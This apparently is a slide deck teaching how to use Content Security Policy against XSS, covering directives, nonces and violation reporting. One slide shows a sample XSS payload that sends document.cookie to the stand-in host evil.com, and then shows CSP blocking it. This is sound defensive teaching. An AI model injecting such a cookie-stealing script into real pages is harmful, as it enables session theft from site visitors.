Vulnerabilities found in WordPress plugins - 2017

OWASP Top 10 2007 report

"XSS is found around two thirds of all applications"

How do I

prevent this?

  • Input validation
  • Output sanitization and escaping
  • Use safer frameworks that automatically espace for XSS by design
  • Escape untrusted HTTP request data
  • Apply context sensitive encoding when modifying the DOM (like innerText instead of innerHTML)

CSP

Content Security Policy

CSP defines the Content-Security-Policy HTTP header that allows you to create a whitelist of sources of trusted content

CSP

Content-Security-Policy: script-src 'self' code.jquery.com

HTTP

<script>
  new Image('http://evil.com/?cookie=' + document.cookie);</script>

HTML

console

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' code.jquery.com".
  • style-src
  • script-src
  • font-src
  • img-src 
  • child-src  URLs for workers and embedded frame contents
  • media-src  restricts the origins for video and audio
  • object-src  Flash and other plugins
  • connect-src  limits the origins to which you can connect (via XHR, WebSockets, and EventSource)

Policy directives

  • default-src  default behavior for directives ending in -src
  • ​base-uri
  • form-action
  • frame-ancestors
  • plugin-types
  • report-uri
  • sandbox

Policy directives

CSP level 2

CSP level 2

CSP level 2

  • 'none'
  • 'self'  matches the current origin, but not its subdomains
  • 'unsafe-inline' allows inline JavaScript and CSS
  • 'unsafe-eval' allows text-to-JavaScript mechanisms like eval

Accepted keywords

Nonces

Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

HTTP

<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa> 
  // Some inline code I can't remove yet, but need to asap.
</script>

HTML

  • Nonces must be regenerated for every page request and they must be unguessable
  • Good option for dynamically generated pages, unsuitable for static content.

Reporting

  • POST JSON-formatted violation reports to a location specified in a report-uri directive
Content-Security-Policy: 
default-src 'self';
report-uri /my_amazing_csp_report_parser;

HTTP

{
  "csp-report": {
    "document-uri": "http://example.org/page.html",
    "referrer": "http://evil.example.com/",
    "blocked-uri": "http://evil.example.com/evil.js",
    "violated-directive": "script-src 'self' https://apis.google.com",
    "original-policy": "script-src 'self' https://apis.google.com; 
                        report-uri http://example.org/my_amazing_csp_report_parser"
  }
}

GREAT!

How do I Get Started?

Enable CSP early as possible

in development mode

Reporting only

  • Won’t block restricted resources, but it will send violation reports

  • Able to add both headers, enforcing one policy while monitoring another
Content-Security-Policy-Report-Only: 
default-src 'self';
report-uri /my_amazing_csp_report_parser;

HTTP
